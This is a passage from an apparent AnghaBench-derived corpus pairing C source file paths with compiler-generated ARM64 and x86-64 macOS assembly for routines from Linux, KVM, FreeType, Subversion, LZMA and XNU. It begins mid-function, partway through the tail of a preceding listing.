%bb.9: ## in Loop: Header=BB0_7 Depth=1 movl -44(%rbp), %eax addl $2, %eax movl %eax, -44(%rbp) jmp LBB0_7 LBB0_10: addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
AnghaBench/fastsocket/kernel/drivers/gpu/drm/radeon/extr_si.c_dce6_bandwidth_update.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function netxen_intr _netxen_intr: ; @netxen_intr .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _IRQ_NONE@GOTPAGE ldr x8, [x8, _IRQ_NONE@GOTPAGEOFF] str x8, [sp, #8] ; 8-byte Folded Spill stur w0, [x29, #-8] stur x1, [x29, #-16] ldur x8, [x29, #-16] stur x8, [x29, #-24] ldur x8, [x29, #-24] ldr x8, [x8, #8] str x8, [sp, #32] str wzr, [sp, #28] ldr x8, [sp, #32] ldr w0, [x8, #4] bl _readl mov x8, x0 str w8, [sp, #28] ldr w8, [sp, #28] ldr x9, [sp, #32] ldr w9, [x9] ands w8, w8, w9 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr x8, [sp, #8] ; 8-byte Folded Reload ldr w8, [x8] stur w8, [x29, #-4] b LBB0_10 LBB0_2: ldr x8, [sp, #32] ldr w0, [x8, #24] bl _NX_IS_REVISION_P3 subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_6 b LBB0_3 LBB0_3: ldr x8, [sp, #32] ldr w0, [x8, #12] bl _readl mov x8, x0 str w8, [sp, #28] ldr w0, [sp, #28] bl _ISR_LEGACY_INT_TRIGGERED subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: ldr x8, [sp, #8] ; 8-byte Folded Reload ldr w8, [x8] stur w8, [x29, #-4] b LBB0_10 LBB0_5: b LBB0_9 LBB0_6: add x8, sp, #16 str x8, [sp] ; 8-byte Folded Spill str xzr, [sp, #16] ldr x8, [sp, #32] ldr w0, [x8, #12] bl _readl ldr x1, [sp] ; 8-byte Folded Reload str x0, [sp, #16] ldr x8, [sp, #32] ldr x8, [x8, #16] add x0, x8, #7 bl _test_and_clear_bit subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: ldr x8, [sp, #8] ; 8-byte Folded Reload ldr w8, [x8] stur w8, [x29, #-4] b LBB0_10 LBB0_8: ldr w8, [sp, #16] ; kill: def $x8 killed $w8 mov x0, x8 ldr x8, [sp, #32] ldr w1, [x8, #12] bl _writel ldur x0, [x29, #-24] bl _netxen_nic_disable_int b LBB0_9 LBB0_9: ldr x8, [sp, #32] ldr w1, [x8, #8] mov w0, #-1 bl _writel ldr x8, [sp, #32] ldr w0, [x8, #4] bl _readl ldr x8, [sp, #32] ldr w0, [x8, #4] bl _readl ldur x0, [x29, #-24] bl _napi_schedule adrp x8, _IRQ_HANDLED@GOTPAGE ldr x8, [x8, _IRQ_HANDLED@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-4] b LBB0_10 LBB0_10: ldur w0, [x29, #-4] ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .comm _IRQ_NONE,4,2 ; @IRQ_NONE .comm _IRQ_HANDLED,4,2 ; @IRQ_HANDLED .no_dead_strip _netxen_intr .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function netxen_intr _netxen_intr: ## @netxen_intr .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movl %edi, -8(%rbp) movq %rsi, -16(%rbp) movq -16(%rbp), %rax movq %rax, -24(%rbp) movq -24(%rbp), %rax movq 8(%rax), %rax movq %rax, -32(%rbp) movl $0, -36(%rbp) movq -32(%rbp), %rax movl 4(%rax), %edi callq _readl ## kill: def $eax killed $eax killed $rax movl %eax, -36(%rbp) movl -36(%rbp), %eax movq -32(%rbp), %rcx andl (%rcx), %eax cmpl $0, %eax jne LBB0_2 ## %bb.1: movq _IRQ_NONE@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -4(%rbp) jmp LBB0_10 LBB0_2: movq -32(%rbp), %rax movl 24(%rax), %edi callq _NX_IS_REVISION_P3 cmpq $0, %rax je LBB0_6 ## %bb.3: movq -32(%rbp), %rax movl 12(%rax), %edi callq _readl ## kill: def $eax killed $eax killed $rax movl %eax, -36(%rbp) movl -36(%rbp), %edi callq _ISR_LEGACY_INT_TRIGGERED cmpl $0, %eax jne LBB0_5 ## %bb.4: movq _IRQ_NONE@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -4(%rbp) jmp LBB0_10 LBB0_5: jmp LBB0_9 LBB0_6: movq $0, -48(%rbp) movq -32(%rbp), %rax movl 12(%rax), %edi callq _readl movq %rax, -48(%rbp) movq -32(%rbp), %rax movq 16(%rax), %rdi addq $7, %rdi leaq -48(%rbp), %rsi callq _test_and_clear_bit cmpl $0, %eax jne LBB0_8 ## %bb.7: movq _IRQ_NONE@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -4(%rbp) jmp LBB0_10 LBB0_8: movabsq $4294967295, %rax ## imm = 0xFFFFFFFF andq -48(%rbp), %rax movl %eax, %edi movq -32(%rbp), %rax movl 12(%rax), %esi callq _writel movq -24(%rbp), %rdi callq _netxen_nic_disable_int LBB0_9: movq -32(%rbp), %rax movl 8(%rax), %esi movl $4294967295, %edi ## imm = 0xFFFFFFFF callq _writel movq -32(%rbp), %rax movl 4(%rax), %edi callq _readl movq -32(%rbp), %rax movl 4(%rax), %edi callq _readl movq -24(%rbp), %rdi callq _napi_schedule movq _IRQ_HANDLED@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -4(%rbp) LBB0_10: movl -4(%rbp), %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _IRQ_NONE,4,2 ## @IRQ_NONE .comm _IRQ_HANDLED,4,2 ## @IRQ_HANDLED .no_dead_strip _netxen_intr .subsections_via_symbols
AnghaBench/linux/drivers/net/ethernet/qlogic/netxen/extr_netxen_nic_main.c_netxen_intr.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function sfnt_is_postscript _sfnt_is_postscript: ; @sfnt_is_postscript .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #8] ldr w8, [sp, #8] subs w8, w8, #0 cset w8, lt tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr w8, [sp, #8] subs w8, w8, #128 cset w8, lt tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: str wzr, [sp, #12] b LBB0_4 LBB0_3: ldr w8, [sp, #8] str w8, [sp, #4] adrp x8, _sfnt_ps_map@GOTPAGE ldr x8, [x8, _sfnt_ps_map@GOTPAGEOFF] ldr x8, [x8] ldr w9, [sp, #4] lsr w9, w9, #3 ldr w8, [x8, w9, uxtw #2] ldr w9, [sp, #4] and w10, w9, #0x7 mov w9, #1 lsl w9, w9, w10 and w8, w8, w9 str w8, [sp, #12] b LBB0_4 LBB0_4: ldr w0, [sp, #12] add sp, sp, #16 ret .cfi_endproc ; -- End function .comm _sfnt_ps_map,8,3 ; @sfnt_ps_map .no_dead_strip _sfnt_is_postscript .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function sfnt_is_postscript _sfnt_is_postscript: ## @sfnt_is_postscript .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -8(%rbp) cmpl $0, -8(%rbp) jl LBB0_2 ## %bb.1: cmpl $128, -8(%rbp) jl LBB0_3 LBB0_2: movl $0, -4(%rbp) jmp LBB0_4 LBB0_3: movl -8(%rbp), %eax movl %eax, -12(%rbp) movq _sfnt_ps_map@GOTPCREL(%rip), %rax movq (%rax), %rax movl -12(%rbp), %ecx shrl $3, %ecx movl %ecx, %ecx ## kill: def $rcx killed $ecx movl (%rax,%rcx,4), %eax movl -12(%rbp), %ecx andl $7, %ecx movl $1, %edx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx andl %ecx, %eax movl %eax, -4(%rbp) LBB0_4: movl -4(%rbp), %eax popq %rbp retq .cfi_endproc ## -- End function .comm _sfnt_ps_map,8,3 ## @sfnt_ps_map .no_dead_strip _sfnt_is_postscript .subsections_via_symbols
AnghaBench/reactos/sdk/lib/3rdparty/freetype/src/sfnt/extr_sfdriver.c_sfnt_is_postscript.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function default_dir_changed _default_dir_changed: ; @default_dir_changed .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 ldr x8, [x29, #16] stur x0, [x29, #-8] stur x1, [x29, #-16] stur x2, [x29, #-24] stur x3, [x29, #-32] str x4, [sp, #40] str x5, [sp, #32] str x6, [sp, #24] str x7, [sp, #16] str x8, [sp, #8] ldr x8, [sp, #16] ldr x8, [x8] ldur x0, [x29, #-8] ldur x1, [x29, #-16] ldur x2, [x29, #-24] ldr x3, [sp, #24] ldr x4, [sp, #16] ldr x5, [sp, #8] blr x8 bl _SVN_ERR adrp x8, _SVN_NO_ERROR@GOTPAGE ldr x8, [x8, _SVN_NO_ERROR@GOTPAGEOFF] ldr x0, [x8] ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .comm _SVN_NO_ERROR,8,3 ; @SVN_NO_ERROR .no_dead_strip _default_dir_changed .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function default_dir_changed _default_dir_changed: ## @default_dir_changed .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq 32(%rbp), %rax movq 24(%rbp), %rax movq 16(%rbp), %rax movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq %rdx, -24(%rbp) movq %rcx, -32(%rbp) movq %r8, -40(%rbp) movq %r9, -48(%rbp) movq 24(%rbp), %rax movq (%rax), %rax movq -8(%rbp), %rdi movq -16(%rbp), %rsi movq -24(%rbp), %rdx movq 16(%rbp), %rcx movq 24(%rbp), %r8 movq 32(%rbp), %r9 callq *%rax movl %eax, %edi callq _SVN_ERR movq _SVN_NO_ERROR@GOTPCREL(%rip), %rax movq (%rax), %rax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _SVN_NO_ERROR,8,3 ## @SVN_NO_ERROR .no_dead_strip _default_dir_changed .subsections_via_symbols
AnghaBench/freebsd/contrib/subversion/subversion/libsvn_diff/extr_diff_tree.c_default_dir_changed.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function MatchFinder_FreeThisClassMemory _MatchFinder_FreeThisClassMemory: ; @MatchFinder_FreeThisClassMemory .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] str x1, [sp] ldr x8, [sp] ldr x8, [x8] ldr x0, [sp] ldr x9, [sp, #8] ldr x1, [x9] blr x8 ldr x8, [sp, #8] str xzr, [x8] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .no_dead_strip _MatchFinder_FreeThisClassMemory .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function MatchFinder_FreeThisClassMemory _MatchFinder_FreeThisClassMemory: ## @MatchFinder_FreeThisClassMemory .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -16(%rbp), %rax movq (%rax), %rax movq -16(%rbp), %rdi movq -8(%rbp), %rcx movq (%rcx), %rsi callq *%rax movq -8(%rbp), %rax movq $0, (%rax) addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _MatchFinder_FreeThisClassMemory .subsections_via_symbols
AnghaBench/sumatrapdf/ext/lzma/C/extr_LzFind.c_MatchFinder_FreeThisClassMemory.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function calculate_slab_order _calculate_slab_order: ; @calculate_slab_order .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur x1, [x29, #-16] stur x2, [x29, #-24] str x3, [sp, #32] str xzr, [sp, #16] str wzr, [sp, #12] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #12] adrp x9, _KMALLOC_MAX_ORDER@GOTPAGE ldr x9, [x9, _KMALLOC_MAX_ORDER@GOTPAGEOFF] ldr w9, [x9] subs w8, w8, w9 cset w8, gt tbnz w8, #0, LBB0_16 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr w0, [sp, #12] ldur x1, [x29, #-16] ldur x2, [x29, #-24] ldr x3, [sp, #32] mov x4, sp add x5, sp, #8 bl _cache_estimate ldr w8, [sp, #8] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 b LBB0_15 LBB0_4: ; in Loop: Header=BB0_1 Depth=1 ldr x8, [sp, #32] adrp x9, _CFLGS_OFF_SLAB@GOTPAGE ldr x9, [x9, _CFLGS_OFF_SLAB@GOTPAGEOFF] ldr x9, [x9] ands x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_8 b LBB0_5 LBB0_5: ; in Loop: Header=BB0_1 Depth=1 ldur x8, [x29, #-16] mov x9, #4 subs x8, x8, #4 str x8, [sp, #24] ldr x8, [sp, #24] udiv x8, x8, x9 str x8, [sp, #24] ldr w8, [sp, #8] ; kill: def $x8 killed $w8 ldr x9, [sp, #24] subs x8, x8, x9 cset w8, ls tbnz w8, #0, LBB0_7 b LBB0_6 LBB0_6: b LBB0_16 LBB0_7: ; in Loop: Header=BB0_1 Depth=1 b LBB0_8 LBB0_8: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #8] ldur x9, [x29, #-8] str w8, [x9] ldr w8, [sp, #12] ldur x9, [x29, #-8] str w8, [x9, #4] ldr x8, [sp] str x8, [sp, #16] ldr x8, [sp, #32] adrp x9, _SLAB_RECLAIM_ACCOUNT@GOTPAGE ldr x9, [x9, _SLAB_RECLAIM_ACCOUNT@GOTPAGEOFF] ldr x9, [x9] ands x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_9 LBB0_9: b LBB0_16 LBB0_10: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #12] adrp x9, _slab_break_gfp_order@GOTPAGE ldr x9, [x9, _slab_break_gfp_order@GOTPAGEOFF] ldr w9, [x9] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB0_12 b LBB0_11 LBB0_11: b LBB0_16 LBB0_12: ; in Loop: Header=BB0_1 Depth=1 ldr x9, [sp, #16] adrp x8, _PAGE_SIZE@GOTPAGE ldr x8, [x8, _PAGE_SIZE@GOTPAGEOFF] ldr w8, [x8] ldr w10, [sp, #12] lsl w10, w8, w10 ; implicit-def: $x8 mov x8, x10 sxtw x8, w8 subs x8, x8, x9, lsl #3 cset w8, lo tbnz w8, #0, LBB0_14 b LBB0_13 LBB0_13: b LBB0_16 LBB0_14: ; in Loop: Header=BB0_1 Depth=1 b LBB0_15 LBB0_15: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB0_1 LBB0_16: ldr x0, [sp, #16] ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .comm _KMALLOC_MAX_ORDER,4,2 ; @KMALLOC_MAX_ORDER .comm _CFLGS_OFF_SLAB,8,3 ; @CFLGS_OFF_SLAB .comm _SLAB_RECLAIM_ACCOUNT,8,3 ; @SLAB_RECLAIM_ACCOUNT .comm _slab_break_gfp_order,4,2 ; @slab_break_gfp_order .comm _PAGE_SIZE,4,2 ; @PAGE_SIZE .no_dead_strip _calculate_slab_order .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function calculate_slab_order _calculate_slab_order: ## @calculate_slab_order .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq %rdx, -24(%rbp) movq %rcx, -32(%rbp) movq $0, -48(%rbp) movl $0, -52(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 movl -52(%rbp), %eax movq _KMALLOC_MAX_ORDER@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jg LBB0_16 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl -52(%rbp), %edi movq -16(%rbp), %rsi movq -24(%rbp), %rdx movq -32(%rbp), %rcx leaq -64(%rbp), %r8 leaq -56(%rbp), %r9 callq _cache_estimate cmpl $0, -56(%rbp) jne LBB0_4 ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_15 LBB0_4: ## in Loop: Header=BB0_1 Depth=1 movq -32(%rbp), %rax movq _CFLGS_OFF_SLAB@GOTPCREL(%rip), %rcx andq (%rcx), %rax cmpq $0, %rax je LBB0_8 ## %bb.5: ## in Loop: Header=BB0_1 Depth=1 movq -16(%rbp), %rax subq $4, %rax movq %rax, -40(%rbp) movq -40(%rbp), %rax shrq $2, %rax movq %rax, -40(%rbp) movl -56(%rbp), %eax ## kill: def $rax killed $eax cmpq -40(%rbp), %rax jbe LBB0_7 ## %bb.6: jmp LBB0_16 LBB0_7: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_8 LBB0_8: ## in Loop: Header=BB0_1 Depth=1 movl -56(%rbp), %ecx movq -8(%rbp), %rax movl %ecx, (%rax) movl -52(%rbp), %ecx movq -8(%rbp), %rax movl %ecx, 4(%rax) movq -64(%rbp), %rax movq %rax, -48(%rbp) movq -32(%rbp), %rax movq _SLAB_RECLAIM_ACCOUNT@GOTPCREL(%rip), %rcx andq (%rcx), %rax cmpq $0, %rax je LBB0_10 ## %bb.9: jmp LBB0_16 LBB0_10: ## in Loop: Header=BB0_1 Depth=1 movl -52(%rbp), %eax movq _slab_break_gfp_order@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jl LBB0_12 ## %bb.11: jmp LBB0_16 LBB0_12: ## in Loop: Header=BB0_1 Depth=1 movq -48(%rbp), %rax shlq $3, %rax movq _PAGE_SIZE@GOTPCREL(%rip), %rcx movl (%rcx), %edx movl -52(%rbp), %ecx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx movslq %ecx, %rcx cmpq %rcx, %rax ja LBB0_14 ## %bb.13: jmp LBB0_16 LBB0_14: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_15 LBB0_15: ## in Loop: Header=BB0_1 Depth=1 movl -52(%rbp), %eax addl $1, %eax movl %eax, -52(%rbp) jmp LBB0_1 LBB0_16: movq -48(%rbp), %rax addq $64, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _KMALLOC_MAX_ORDER,4,2 ## @KMALLOC_MAX_ORDER .comm _CFLGS_OFF_SLAB,8,3 ## @CFLGS_OFF_SLAB .comm _SLAB_RECLAIM_ACCOUNT,8,3 ## @SLAB_RECLAIM_ACCOUNT .comm _slab_break_gfp_order,4,2 ## @slab_break_gfp_order .comm _PAGE_SIZE,4,2 ## @PAGE_SIZE .no_dead_strip _calculate_slab_order .subsections_via_symbols
AnghaBench/fastsocket/kernel/mm/extr_slab.c_calculate_slab_order.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function nd6_ndprl_alloc _nd6_ndprl_alloc: ; @nd6_ndprl_alloc .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-4] ldur w8, [x29, #-4] adrp x9, _M_WAITOK@GOTPAGE ldr x9, [x9, _M_WAITOK@GOTPAGEOFF] ldr w9, [x9] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x8, _ndprl_zone@GOTPAGE ldr x8, [x8, _ndprl_zone@GOTPAGEOFF] ldr w0, [x8] bl _zalloc str x0, [sp, #8] ; 8-byte Folded Spill b LBB0_3 LBB0_2: adrp x8, _ndprl_zone@GOTPAGE ldr x8, [x8, _ndprl_zone@GOTPAGEOFF] ldr w0, [x8] bl _zalloc_noblock str x0, [sp, #8] ; 8-byte Folded Spill b LBB0_3 LBB0_3: ldr x8, [sp, #8] ; 8-byte Folded Reload str x8, [sp, #16] ldr x8, [sp, #16] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: ldr x0, [sp, #16] adrp x8, _ndprl_size@GOTPAGE ldr x8, [x8, _ndprl_size@GOTPAGEOFF] ldr w1, [x8] bl _bzero b LBB0_5 LBB0_5: ldr x0, [sp, #16] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .comm _M_WAITOK,4,2 ; @M_WAITOK .comm _ndprl_zone,4,2 ; @ndprl_zone .comm _ndprl_size,4,2 ; @ndprl_size .no_dead_strip _nd6_ndprl_alloc .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function nd6_ndprl_alloc _nd6_ndprl_alloc: ## @nd6_ndprl_alloc .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl %edi, -4(%rbp) movl -4(%rbp), %eax movq _M_WAITOK@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jne LBB0_2 ## %bb.1: movq _ndprl_zone@GOTPCREL(%rip), %rax movl (%rax), %edi callq _zalloc movq %rax, -24(%rbp) ## 8-byte Spill jmp LBB0_3 LBB0_2: movq _ndprl_zone@GOTPCREL(%rip), %rax movl (%rax), %edi callq _zalloc_noblock movq %rax, -24(%rbp) ## 8-byte Spill LBB0_3: movq -24(%rbp), %rax ## 8-byte Reload movq %rax, -16(%rbp) cmpq $0, -16(%rbp) je LBB0_5 ## %bb.4: movq -16(%rbp), %rdi movq _ndprl_size@GOTPCREL(%rip), %rax movl (%rax), %esi callq _bzero LBB0_5: movq -16(%rbp), %rax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _M_WAITOK,4,2 ## @M_WAITOK .comm _ndprl_zone,4,2 ## @ndprl_zone .comm _ndprl_size,4,2 ## @ndprl_size .no_dead_strip _nd6_ndprl_alloc .subsections_via_symbols
AnghaBench/darwin-xnu/bsd/netinet6/extr_nd6_prproxy.c_nd6_ndprl_alloc.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function mmu_spte_clear_track_bits _mmu_spte_clear_track_bits: ; @mmu_spte_clear_track_bits .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #16] ldr x8, [sp, #16] ldr w8, [x8] str w8, [sp, #8] ldr w0, [sp, #8] bl _spte_has_volatile_bits subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr x0, [sp, #16] mov x1, #0 bl ___update_clear_spte_fast b LBB0_3 LBB0_2: ldr x0, [sp, #16] mov x1, #0 bl ___update_clear_spte_slow str w0, [sp, #8] b LBB0_3 LBB0_3: ldr w0, [sp, #8] bl _is_shadow_present_pte subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: stur wzr, [x29, #-4] b LBB0_12 LBB0_5: ldr w0, [sp, #8] bl _spte_to_pfn str w0, [sp, #12] ldr w0, [sp, #12] bl _kvm_is_reserved_pfn subs w8, w0, #0 cset w8, ne mov w9, #0 str w9, [sp, #4] ; 4-byte Folded Spill tbnz w8, #0, LBB0_7 b LBB0_6 LBB0_6: ldr w0, [sp, #12] bl _pfn_to_page bl _page_count subs w8, w0, #0 cset w8, eq str w8, [sp, #4] ; 4-byte Folded Spill b LBB0_7 LBB0_7: ldr w8, [sp, #4] ; 4-byte Folded Reload and w0, w8, #0x1 bl _WARN_ON ldr w0, [sp, #8] bl _is_accessed_spte subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_9 b LBB0_8 LBB0_8: ldr w0, [sp, #12] bl _kvm_set_pfn_accessed b LBB0_9 LBB0_9: ldr w0, [sp, #8] bl _is_dirty_spte subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_11 b LBB0_10 LBB0_10: ldr w0, [sp, #12] bl _kvm_set_pfn_dirty b LBB0_11 LBB0_11: mov w8, #1 stur w8, [x29, #-4] b LBB0_12 LBB0_12: ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .no_dead_strip _mmu_spte_clear_track_bits .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function mmu_spte_clear_track_bits _mmu_spte_clear_track_bits: ## @mmu_spte_clear_track_bits .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -16(%rbp) movq -16(%rbp), %rax movl (%rax), %eax movl %eax, -24(%rbp) movl -24(%rbp), %edi callq _spte_has_volatile_bits cmpl $0, %eax jne LBB0_2 ## %bb.1: movq -16(%rbp), %rdi xorl %eax, %eax movl %eax, %esi callq ___update_clear_spte_fast jmp LBB0_3 LBB0_2: movq -16(%rbp), %rdi xorl %eax, %eax movl %eax, %esi callq ___update_clear_spte_slow movl %eax, -24(%rbp) LBB0_3: movl -24(%rbp), %edi callq _is_shadow_present_pte cmpl $0, %eax jne LBB0_5 ## %bb.4: movl $0, -4(%rbp) jmp LBB0_12 LBB0_5: movl -24(%rbp), %edi callq _spte_to_pfn movl %eax, -20(%rbp) movl -20(%rbp), %edi callq _kvm_is_reserved_pfn movl %eax, %ecx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $0, %ecx movb %al, -25(%rbp) ## 1-byte Spill jne LBB0_7 ## %bb.6: movl -20(%rbp), %edi callq _pfn_to_page movl %eax, %edi callq _page_count cmpl $0, %eax setne %al xorb $-1, %al movb %al, -25(%rbp) ## 1-byte Spill LBB0_7: movb -25(%rbp), %al ## 1-byte Reload andb $1, %al movzbl %al, %edi callq _WARN_ON movl -24(%rbp), %edi callq _is_accessed_spte cmpq $0, %rax je LBB0_9 ## %bb.8: movl -20(%rbp), %edi callq _kvm_set_pfn_accessed LBB0_9: movl -24(%rbp), %edi callq _is_dirty_spte cmpq $0, %rax je LBB0_11 ## %bb.10: movl -20(%rbp), %edi callq _kvm_set_pfn_dirty LBB0_11: movl $1, -4(%rbp) LBB0_12: movl -4(%rbp), %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _mmu_spte_clear_track_bits .subsections_via_symbols
AnghaBench/linux/arch/x86/kvm/extr_mmu.c_mmu_spte_clear_track_bits.c
